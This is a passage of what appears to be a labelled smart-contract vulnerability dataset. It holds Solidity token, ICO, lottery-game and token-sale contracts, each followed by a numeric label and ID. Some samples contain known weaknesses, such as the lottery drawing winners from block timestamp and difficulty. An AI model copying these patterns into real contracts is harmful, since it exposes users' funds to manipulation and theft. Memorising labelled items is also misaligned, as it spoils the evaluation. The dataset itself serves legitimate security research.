using SafeMath for uint256;
uint256 public scale = 10**18;
uint256 public reserveBalance = 10*scale;
uint256 public reserveRatio = 500000;
constructor() public {
_mint(msg.sender, 1*scale);
}
function mint(address reciever, uint value) internal {
require(value > 0, "Must send ether to buy tokens.");
_continuousMint(reciever, value);
}
function burn(uint256 _amount) public {
uint256 returnAmount = _continuousBurn(_amount);
msg.sender.transfer(returnAmount);
}
function calculateContinuousMintReturn(uint256 _amount)
public view returns (uint256 mintAmount)
{
return calculatePurchaseReturn(totalSupply(), reserveBalance, uint32(reserveRatio), _amount);
}
function calculateContinuousBurnReturn(uint256 _amount)
public view returns (uint256 burnAmount)
{
return calculateSaleReturn(totalSupply(), reserveBalance, uint32(reserveRatio), _amount);
}
function _continuousMint(address reciever, uint value)
internal returns (uint256)
{
require(value > 0, "Deposit must be non-zero.");
uint256 amount = calculateContinuousMintReturn(value);
_mint(reciever, amount);
reserveBalance = reserveBalance.add(value);
return amount;
}
function _continuousBurn(uint256 _amount)
internal returns (uint256)
{
require(_amount > 0, "Amount must be non-zero.");
require(balanceOf(msg.sender) >= _amount, "Insufficient tokens to burn.");
uint256 reimburseAmount = calculateContinuousBurnReturn(_amount);
reserveBalance = reserveBalance.sub(reimburseAmount);
_burn(msg.sender, _amount);
return reimburseAmount;
}
}
pragma solidity ^0.5.2;
contract SpaceMiners is Ownable, ContinuousToken {
using SafeMath for uint;
uint public PRICE_TO_MINE = 20 finney;
uint public PLANET_CAPACITY = 6;
uint public NUM_WINNERS = 3;
uint constant OWNER_FEE_PERCENT = 5;
address[] miners = new address[](PLANET_CAPACITY);
uint public planetPopulation = 0;
uint ownerHoldings = 1;
string public constant name = "Kerium Crystals";
string public constant symbol = "KMC";
uint8 public constant decimals = 18;
function setGameSettings(uint priceToMine, uint planetCapacity, uint numWinners) public payable onlyOwner {
PRICE_TO_MINE = priceToMine;
PLANET_CAPACITY = planetCapacity;
NUM_WINNERS = numWinners;
}
function getNumUsersMinersOnPlanet(address miner) public view returns (uint) {
uint count = 0;
for (uint i = 0; i < planetPopulation; i++) {
if (miners[i] == miner) {
count++;
}
}
return count;
}
function sendSingleMinerToPlanet(address miner) internal {
miners[planetPopulation] = miner;
planetPopulation = planetPopulation.add(1);
if (planetPopulation == PLANET_CAPACITY) {
rewardMiners();
planetPopulation = 0;
}
}
function sendMinersToPlanet(uint numMiners) public payable {
require(msg.value >= numMiners * PRICE_TO_MINE, "Not enough paid");
require(planetPopulation < PLANET_CAPACITY, "Planet is full");
mint(msg.sender, numMiners);
for (uint i = 0; i < numMiners; i++) {
sendSingleMinerToPlanet(msg.sender);
}
}
function percentOfValue(uint percent, uint value) pure internal returns (uint) {
return (value.mul(percent)).div(100);
}
function getRandom(uint cap) view internal returns (uint) {
return uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty))) % cap;
}
function rewardMiners() internal {
uint roundEarnings = PRICE_TO_MINE * PLANET_CAPACITY;
uint ownerFee = percentOfValue(OWNER_FEE_PERCENT, roundEarnings);
ownerHoldings = ownerHoldings.add(ownerFee);
roundEarnings = roundEarnings.sub(ownerFee);
uint rewardAmount = roundEarnings.div(NUM_WINNERS);
uint rnd = getRandom(PLANET_CAPACITY);
for (uint i = rnd; i < rnd + NUM_WINNERS; i++) {
if (i >= PLANET_CAPACITY) {
mint(miners[i - PLANET_CAPACITY], rewardAmount);
} else {
mint(miners[i], rewardAmount);
}
}
}
function cashOutOwnerFee() public payable onlyOwner {
require(ownerHoldings > 1);
msg.sender.transfer(ownerHoldings - 1);
ownerHoldings = 1;
}
function() external payable {
address payable payableAddress = address(uint160(owner()));
payableAddress.transfer(msg.value);
}
} | 0 | 1,497 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Admin is Claimable{
mapping(address => bool) public admins;
event AdminAdded(address added);
event AdminRemoved(address removed);
modifier onlyAdmin() {
require(admins[msg.sender] || msg.sender == owner, "msg.sender is not an admin!");
_;
}
function addAddressesToAdmins(address[] _admins) external onlyOwner {
require(_admins.length > 0, "Cannot add an empty list to admins!");
for (uint256 i = 0; i < _admins.length; ++i) {
address user = _admins[i];
require(user != address(0), "Cannot add the zero address to admins!");
if (!admins[user]) {
admins[user] = true;
emit AdminAdded(user);
}
}
}
function removeAddressesFromAdmins(address[] _admins) external onlyOwner {
require(_admins.length > 0, "Cannot remove an empty list to admins!");
for (uint256 i = 0; i < _admins.length; ++i) {
address user = _admins[i];
if (admins[user]) {
admins[user] = false;
emit AdminRemoved(user);
}
}
}
}
contract Whitelist is Admin {
mapping(address => bool) public whitelist;
event WhitelistAdded(address added);
event WhitelistRemoved(address removed);
modifier isWhitelisted(address _user) {
require(whitelist[_user] != false, "User is not whitelisted!");
_;
}
function addAddressesToWhitelist(address[] _users) external onlyAdmin {
require(_users.length > 0, "Cannot add an empty list to whitelist!");
for (uint256 i = 0; i < _users.length; ++i) {
address user = _users[i];
require(user != address(0), "Cannot add the zero address to whitelist!");
if (!whitelist[user]) {
whitelist[user] = true;
emit WhitelistAdded(user);
}
}
}
function removeAddressesFromWhitelist(address[] _users) external onlyAdmin {
require(_users.length > 0, "Cannot remove an empty list to whitelist!");
for (uint256 i = 0; i < _users.length; ++i) {
address user = _users[i];
if (whitelist[user]) {
whitelist[user] = false;
emit WhitelistRemoved(user);
}
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract HasNoTokens is CanReclaimToken {
function tokenFallback(address from_, uint256 value_, bytes data_) external {
from_;
value_;
data_;
revert();
}
}
contract RewardToken is PausableToken, Whitelist, HasNoTokens{
mapping(address => uint256) public rewardBalances;
uint256[] public rewardPercentage;
uint256 public rewardPercentageDecimals;
uint256 public rewardPercentageDivisor;
event RewardPercentage(uint256 index, uint256 percentage);
modifier isValidRewardIndex(uint256 _index) {
require(_index < rewardPercentage.length, "The reward percentage index does not exist!");
_;
}
modifier isValidRewardPercentage(uint256 _percentage) {
require(_percentage <= rewardPercentageDivisor, "Cannot have a reward percentage greater than 100%!");
_;
}
constructor(uint256 _rewardPercentageDecimals) public {
rewardPercentageDecimals = _rewardPercentageDecimals;
rewardPercentageDivisor = (10 ** uint256(_rewardPercentageDecimals)).mul(100);
}
function addRewardPercentage(uint256 _percentage) public onlyAdmin isValidRewardPercentage(_percentage) returns (uint256 _index) {
_index = rewardPercentage.length;
rewardPercentage.push(_percentage);
emit RewardPercentage(_index, _percentage);
}
function updateRewardPercentageByIndex(uint256 _index, uint256 _percentage)
public
onlyAdmin
isValidRewardIndex(_index)
isValidRewardPercentage(_percentage)
{
rewardPercentage[_index] = _percentage;
emit RewardPercentage(_index, _percentage);
}
function getRewardToken(uint256 _amount, uint256 _rewardPercentageIndex)
internal
view
isValidRewardIndex(_rewardPercentageIndex)
returns(uint256 _rewardToken)
{
_rewardToken = _amount.mul(rewardPercentage[_rewardPercentageIndex]).div(rewardPercentageDivisor);
}
}
contract TRVLToken is RewardToken {
string public constant name = "TRVL Token";
string public constant symbol = "TRVL";
uint8 public constant decimals = 18;
uint256 public constant TOTAL_CAP = 600000000 * (10 ** uint256(decimals));
event TransferReward(address from, address to, uint256 value);
modifier senderHasEnoughTokens(uint256 _regularTokens, uint256 _rewardTokens) {
require(rewardBalances[msg.sender] >= _rewardTokens, "User does not have enough reward tokens!");
require(balances[msg.sender] >= _regularTokens, "User does not have enough regular tokens!");
_;
}
modifier validAmount(uint256 _amount) {
require(_amount > 0, "The amount specified is 0!");
_;
}
constructor() RewardToken(decimals) public {
totalSupply_ = TOTAL_CAP;
balances[owner] = totalSupply_;
emit Transfer(0x0, owner, totalSupply_);
}
function paymentRegularTokensPriority (uint256 _amount, uint256 _rewardPercentageIndex) public {
uint256 regularTokensAvailable = balances[msg.sender];
if (regularTokensAvailable >= _amount) {
paymentRegularTokens(_amount, _rewardPercentageIndex);
} else {
if (regularTokensAvailable > 0) {
uint256 amountOfRewardsTokens = _amount.sub(regularTokensAvailable);
paymentMixed(regularTokensAvailable, amountOfRewardsTokens, _rewardPercentageIndex);
} else {
paymentRewardTokens(_amount);
}
}
}
function paymentRewardTokensPriority (uint256 _amount, uint256 _rewardPercentageIndex) public {
uint256 rewardTokensAvailable = rewardBalances[msg.sender];
if (rewardTokensAvailable >= _amount) {
paymentRewardTokens(_amount);
} else {
if (rewardTokensAvailable > 0) {
uint256 amountOfRegularTokens = _amount.sub(rewardTokensAvailable);
paymentMixed(amountOfRegularTokens, rewardTokensAvailable, _rewardPercentageIndex);
} else {
paymentRegularTokens(_amount, _rewardPercentageIndex);
}
}
}
function paymentMixed (uint256 _regularTokenAmount, uint256 _rewardTokenAmount, uint256 _rewardPercentageIndex) public {
paymentRewardTokens(_rewardTokenAmount);
paymentRegularTokens(_regularTokenAmount, _rewardPercentageIndex);
}
function paymentRegularTokens (uint256 _regularTokenAmount, uint256 _rewardPercentageIndex)
public
validAmount(_regularTokenAmount)
isValidRewardIndex(_rewardPercentageIndex)
senderHasEnoughTokens(_regularTokenAmount, 0)
isWhitelisted(msg.sender)
whenNotPaused
{
balances[msg.sender] = balances[msg.sender].sub(_regularTokenAmount);
uint256 rewardAmount = getRewardToken(_regularTokenAmount, _rewardPercentageIndex);
rewardBalances[msg.sender] = rewardBalances[msg.sender].add(rewardAmount);
emit TransferReward(owner, msg.sender, rewardAmount);
balances[owner] = balances[owner].add(_regularTokenAmount.sub(rewardAmount));
emit Transfer(msg.sender, owner, _regularTokenAmount.sub(rewardAmount));
}
function paymentRewardTokens (uint256 _rewardTokenAmount)
public
validAmount(_rewardTokenAmount)
senderHasEnoughTokens(0, _rewardTokenAmount)
isWhitelisted(msg.sender)
whenNotPaused
{
rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_rewardTokenAmount);
rewardBalances[owner] = rewardBalances[owner].add(_rewardTokenAmount);
emit TransferReward(msg.sender, owner, _rewardTokenAmount);
}
function convertRegularToRewardTokens(address _user, uint256 _amount)
external
onlyOwner
validAmount(_amount)
senderHasEnoughTokens(_amount, 0)
isWhitelisted(_user)
{
balances[msg.sender] = balances[msg.sender].sub(_amount);
rewardBalances[_user] = rewardBalances[_user].add(_amount);
emit TransferReward(msg.sender, _user, _amount);
}
} | 0 | 449 |
pragma solidity ^0.4.15;
contract owned {
address public owner;
function owned() { owner = msg.sender; }
modifier onlyOwner {
if (msg.sender != owner) { revert(); }
_;
}
function changeOwner( address newowner ) onlyOwner {
owner = newowner;
}
function closedown() onlyOwner {
selfdestruct( owner );
}
}
interface JBX {
function transfer(address to, uint256 value);
function balanceOf( address owner ) constant returns (uint);
}
contract JBXICO is owned {
uint public constant STARTTIME = 1510099200;
uint public constant ENDTIME = 1512691200;
uint public constant JBXPERETH = 1500;
JBX public tokenSC;
function JBXICO() {}
function setToken( address tok ) onlyOwner {
if ( tokenSC == address(0) )
tokenSC = JBX(tok);
}
function() payable {
if (now < STARTTIME || now > ENDTIME)
revert();
uint qty =
div(mul(div(mul(msg.value, JBXPERETH),1000000000000000000),(bonus()+100)),100);
if (qty > tokenSC.balanceOf(address(this)) || qty < 1)
revert();
tokenSC.transfer( msg.sender, qty );
}
function claimUnsold() onlyOwner {
if ( now < ENDTIME )
revert();
tokenSC.transfer( owner, tokenSC.balanceOf(address(this)) );
}
function withdraw( uint amount ) onlyOwner returns (bool) {
if (amount <= this.balance)
return owner.send( amount );
return false;
}
function bonus() constant returns(uint) {
uint elapsed = now - STARTTIME;
if (elapsed < 48 hours) return 50;
if (elapsed < 2 weeks) return 20;
if (elapsed < 3 weeks) return 10;
if (elapsed < 4 weeks) return 5;
return 0;
}
function mul(uint256 a, uint256 b) constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) constant returns (uint256) {
uint256 c = a / b;
return c;
}
} | 1 | 4,864 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Owned {
address public owner;
address public proposedOwner;
event OwnershipTransferInitiated(address indexed _proposedOwner);
event OwnershipTransferCompleted(address indexed _newOwner);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(isOwner(msg.sender));
_;
}
function isOwner(address _address) internal view returns (bool) {
return (_address == owner);
}
function initiateOwnershipTransfer(address _proposedOwner) public onlyOwner returns (bool) {
proposedOwner = _proposedOwner;
OwnershipTransferInitiated(_proposedOwner);
return true;
}
function completeOwnershipTransfer() public returns (bool) {
require(msg.sender == proposedOwner);
owner = proposedOwner;
proposedOwner = address(0);
OwnershipTransferCompleted(owner);
return true;
}
}
contract OpsManaged is Owned {
address public opsAddress;
address public adminAddress;
event AdminAddressChanged(address indexed _newAddress);
event OpsAddressChanged(address indexed _newAddress);
function OpsManaged() public
Owned()
{
}
modifier onlyAdmin() {
require(isAdmin(msg.sender));
_;
}
modifier onlyAdminOrOps() {
require(isAdmin(msg.sender) || isOps(msg.sender));
_;
}
modifier onlyOwnerOrAdmin() {
require(isOwner(msg.sender) || isAdmin(msg.sender));
_;
}
modifier onlyOps() {
require(isOps(msg.sender));
_;
}
function isAdmin(address _address) internal view returns (bool) {
return (adminAddress != address(0) && _address == adminAddress);
}
function isOps(address _address) internal view returns (bool) {
return (opsAddress != address(0) && _address == opsAddress);
}
function isOwnerOrOps(address _address) internal view returns (bool) {
return (isOwner(_address) || isOps(_address));
}
function setAdminAddress(address _adminAddress) external onlyOwnerOrAdmin returns (bool) {
require(_adminAddress != owner);
require(_adminAddress != address(this));
require(!isOps(_adminAddress));
adminAddress = _adminAddress;
AdminAddressChanged(_adminAddress);
return true;
}
function setOpsAddress(address _opsAddress) external onlyOwnerOrAdmin returns (bool) {
require(_opsAddress != owner);
require(_opsAddress != address(this));
require(!isAdmin(_opsAddress));
opsAddress = _opsAddress;
OpsAddressChanged(_opsAddress);
return true;
}
}
contract SimpleTokenConfig {
string public constant TOKEN_SYMBOL = "ST";
string public constant TOKEN_NAME = "Simple Token";
uint8 public constant TOKEN_DECIMALS = 18;
uint256 public constant DECIMALSFACTOR = 10**uint256(TOKEN_DECIMALS);
uint256 public constant TOKENS_MAX = 800000000 * DECIMALSFACTOR;
}
contract ERC20Interface {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function name() public view returns (string);
function symbol() public view returns (string);
function decimals() public view returns (uint8);
function totalSupply() public view returns (uint256);
function balanceOf(address _owner) public view returns (uint256 balance);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
contract ERC20Token is ERC20Interface, Owned {
using SafeMath for uint256;
string private tokenName;
string private tokenSymbol;
uint8 private tokenDecimals;
uint256 internal tokenTotalSupply;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
function ERC20Token(string _symbol, string _name, uint8 _decimals, uint256 _totalSupply) public
Owned()
{
tokenSymbol = _symbol;
tokenName = _name;
tokenDecimals = _decimals;
tokenTotalSupply = _totalSupply;
balances[owner] = _totalSupply;
Transfer(0x0, owner, _totalSupply);
}
function name() public view returns (string) {
return tokenName;
}
function symbol() public view returns (string) {
return tokenSymbol;
}
function decimals() public view returns (uint8) {
return tokenDecimals;
}
function totalSupply() public view returns (uint256) {
return tokenTotalSupply;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
contract SimpleToken is ERC20Token, OpsManaged, SimpleTokenConfig {
bool public finalized;
event Burnt(address indexed _from, uint256 _amount);
event Finalized();
function SimpleToken() public
ERC20Token(TOKEN_SYMBOL, TOKEN_NAME, TOKEN_DECIMALS, TOKENS_MAX)
OpsManaged()
{
finalized = false;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
checkTransferAllowed(msg.sender, _to);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
checkTransferAllowed(msg.sender, _to);
return super.transferFrom(_from, _to, _value);
}
function checkTransferAllowed(address _sender, address _to) private view {
if (finalized) {
return;
}
require(isOwnerOrOps(_sender) || _to == owner);
}
function burn(uint256 _value) public returns (bool success) {
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
tokenTotalSupply = tokenTotalSupply.sub(_value);
Burnt(msg.sender, _value);
return true;
}
function finalize() external onlyAdmin returns (bool success) {
require(!finalized);
finalized = true;
Finalized();
return true;
}
}
contract Trustee is OpsManaged {
using SafeMath for uint256;
SimpleToken public tokenContract;
struct Allocation {
uint256 amountGranted;
uint256 amountTransferred;
bool revokable;
}
address public revokeAddress;
uint256 public totalLocked;
mapping (address => Allocation) public allocations;
event AllocationGranted(address indexed _from, address indexed _account, uint256 _amount, bool _revokable);
event AllocationRevoked(address indexed _from, address indexed _account, uint256 _amountRevoked);
event AllocationProcessed(address indexed _from, address indexed _account, uint256 _amount);
event RevokeAddressChanged(address indexed _newAddress);
event TokensReclaimed(uint256 _amount);
function Trustee(SimpleToken _tokenContract) public
OpsManaged()
{
require(address(_tokenContract) != address(0));
tokenContract = _tokenContract;
}
modifier onlyOwnerOrRevoke() {
require(isOwner(msg.sender) || isRevoke(msg.sender));
_;
}
modifier onlyRevoke() {
require(isRevoke(msg.sender));
_;
}
function isRevoke(address _address) private view returns (bool) {
return (revokeAddress != address(0) && _address == revokeAddress);
}
function setRevokeAddress(address _revokeAddress) external onlyOwnerOrRevoke returns (bool) {
require(_revokeAddress != owner);
require(!isAdmin(_revokeAddress));
require(!isOps(_revokeAddress));
revokeAddress = _revokeAddress;
RevokeAddressChanged(_revokeAddress);
return true;
}
function grantAllocation(address _account, uint256 _amount, bool _revokable) public onlyAdminOrOps returns (bool) {
require(_account != address(0));
require(_account != address(this));
require(_amount > 0);
require(allocations[_account].amountGranted == 0);
if (isOps(msg.sender)) {
require(!tokenContract.finalized());
}
totalLocked = totalLocked.add(_amount);
require(totalLocked <= tokenContract.balanceOf(address(this)));
allocations[_account] = Allocation({
amountGranted : _amount,
amountTransferred : 0,
revokable : _revokable
});
AllocationGranted(msg.sender, _account, _amount, _revokable);
return true;
}
function revokeAllocation(address _account) external onlyRevoke returns (bool) {
require(_account != address(0));
Allocation memory allocation = allocations[_account];
require(allocation.revokable);
uint256 ownerRefund = allocation.amountGranted.sub(allocation.amountTransferred);
delete allocations[_account];
totalLocked = totalLocked.sub(ownerRefund);
AllocationRevoked(msg.sender, _account, ownerRefund);
return true;
}
function processAllocation(address _account, uint256 _amount) external onlyOps returns (bool) {
require(_account != address(0));
require(_amount > 0);
Allocation storage allocation = allocations[_account];
require(allocation.amountGranted > 0);
uint256 transferable = allocation.amountGranted.sub(allocation.amountTransferred);
if (transferable < _amount) {
return false;
}
allocation.amountTransferred = allocation.amountTransferred.add(_amount);
require(tokenContract.transfer(_account, _amount));
totalLocked = totalLocked.sub(_amount);
AllocationProcessed(msg.sender, _account, _amount);
return true;
}
function reclaimTokens() external onlyAdmin returns (bool) {
uint256 ownBalance = tokenContract.balanceOf(address(this));
require(ownBalance > totalLocked);
uint256 amountReclaimed = ownBalance.sub(totalLocked);
address tokenOwner = tokenContract.owner();
require(tokenOwner != address(0));
require(tokenContract.transfer(tokenOwner, amountReclaimed));
TokensReclaimed(amountReclaimed);
return true;
}
}
contract Pausable is OpsManaged {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyAdmin whenNotPaused {
paused = true;
Pause();
}
function unpause() public onlyAdmin whenPaused {
paused = false;
Unpause();
}
}
contract TokenSaleConfig is SimpleTokenConfig {
uint256 public constant PHASE1_START_TIME = 1510664400;
uint256 public constant PHASE2_START_TIME = 1510750800;
uint256 public constant END_TIME = 1512133199;
uint256 public constant CONTRIBUTION_MIN = 0.1 ether;
uint256 public constant CONTRIBUTION_MAX = 10000.0 ether;
uint256 public constant PHASE1_ACCOUNT_TOKENS_MAX = 36000 * DECIMALSFACTOR;
uint256 public constant TOKENS_SALE = 240000000 * DECIMALSFACTOR;
uint256 public constant TOKENS_FOUNDERS = 80000000 * DECIMALSFACTOR;
uint256 public constant TOKENS_ADVISORS = 80000000 * DECIMALSFACTOR;
uint256 public constant TOKENS_EARLY_BACKERS = 44884831 * DECIMALSFACTOR;
uint256 public constant TOKENS_ACCELERATOR = 217600000 * DECIMALSFACTOR;
uint256 public constant TOKENS_FUTURE = 137515169 * DECIMALSFACTOR;
uint256 public constant TOKENS_PER_KETHER = 3600000;
uint256 public constant PURCHASE_DIVIDER = 10**(uint256(18) - TOKEN_DECIMALS + 3);
}
contract TokenSale is OpsManaged, Pausable, TokenSaleConfig {
using SafeMath for uint256;
bool public finalized;
uint256 public endTime;
uint256 public pausedTime;
uint256 public tokensPerKEther;
uint256 public phase1AccountTokensMax;
address public wallet;
SimpleToken public tokenContract;
Trustee public trusteeContract;
uint256 public totalTokensSold;
uint256 public totalPresaleBase;
uint256 public totalPresaleBonus;
mapping(address => uint8) public whitelist;
event Initialized();
event PresaleAdded(address indexed _account, uint256 _baseTokens, uint256 _bonusTokens);
event WhitelistUpdated(address indexed _account, uint8 _phase);
event TokensPurchased(address indexed _beneficiary, uint256 _cost, uint256 _tokens, uint256 _totalSold);
event TokensPerKEtherUpdated(uint256 _amount);
event Phase1AccountTokensMaxUpdated(uint256 _tokens);
event WalletChanged(address _newWallet);
event TokensReclaimed(uint256 _amount);
event UnsoldTokensBurnt(uint256 _amount);
event Finalized();
function TokenSale(SimpleToken _tokenContract, Trustee _trusteeContract, address _wallet) public
OpsManaged()
{
require(address(_tokenContract) != address(0));
require(address(_trusteeContract) != address(0));
require(_wallet != address(0));
require(PHASE1_START_TIME >= currentTime());
require(PHASE2_START_TIME > PHASE1_START_TIME);
require(END_TIME > PHASE2_START_TIME);
require(TOKENS_PER_KETHER > 0);
require(PHASE1_ACCOUNT_TOKENS_MAX > 0);
uint256 partialAllocations = TOKENS_FOUNDERS.add(TOKENS_ADVISORS).add(TOKENS_EARLY_BACKERS);
require(partialAllocations.add(TOKENS_SALE).add(TOKENS_ACCELERATOR).add(TOKENS_FUTURE) == TOKENS_MAX);
wallet = _wallet;
pausedTime = 0;
endTime = END_TIME;
finalized = false;
tokensPerKEther = TOKENS_PER_KETHER;
phase1AccountTokensMax = PHASE1_ACCOUNT_TOKENS_MAX;
tokenContract = _tokenContract;
trusteeContract = _trusteeContract;
}
function initialize() external onlyOwner returns (bool) {
require(totalTokensSold == 0);
require(totalPresaleBase == 0);
require(totalPresaleBonus == 0);
uint256 ownBalance = tokenContract.balanceOf(address(this));
require(ownBalance == TOKENS_SALE);
uint256 trusteeBalance = tokenContract.balanceOf(address(trusteeContract));
require(trusteeBalance >= TOKENS_FUTURE);
Initialized();
return true;
}
function changeWallet(address _wallet) external onlyAdmin returns (bool) {
require(_wallet != address(0));
require(_wallet != address(this));
require(_wallet != address(trusteeContract));
require(_wallet != address(tokenContract));
wallet = _wallet;
WalletChanged(wallet);
return true;
}
function currentTime() public view returns (uint256 _currentTime) {
return now;
}
modifier onlyBeforeSale() {
require(hasSaleEnded() == false);
require(currentTime() < PHASE1_START_TIME);
_;
}
modifier onlyDuringSale() {
require(hasSaleEnded() == false && currentTime() >= PHASE1_START_TIME);
_;
}
modifier onlyAfterSale() {
require(finalized);
_;
}
function hasSaleEnded() private view returns (bool) {
if (totalTokensSold >= TOKENS_SALE || finalized) {
return true;
} else if (pausedTime == 0 && currentTime() >= endTime) {
return true;
} else {
return false;
}
}
function updateWhitelist(address _account, uint8 _phase) external onlyOps returns (bool) {
require(_account != address(0));
require(_phase <= 2);
require(!hasSaleEnded());
whitelist[_account] = _phase;
WhitelistUpdated(_account, _phase);
return true;
}
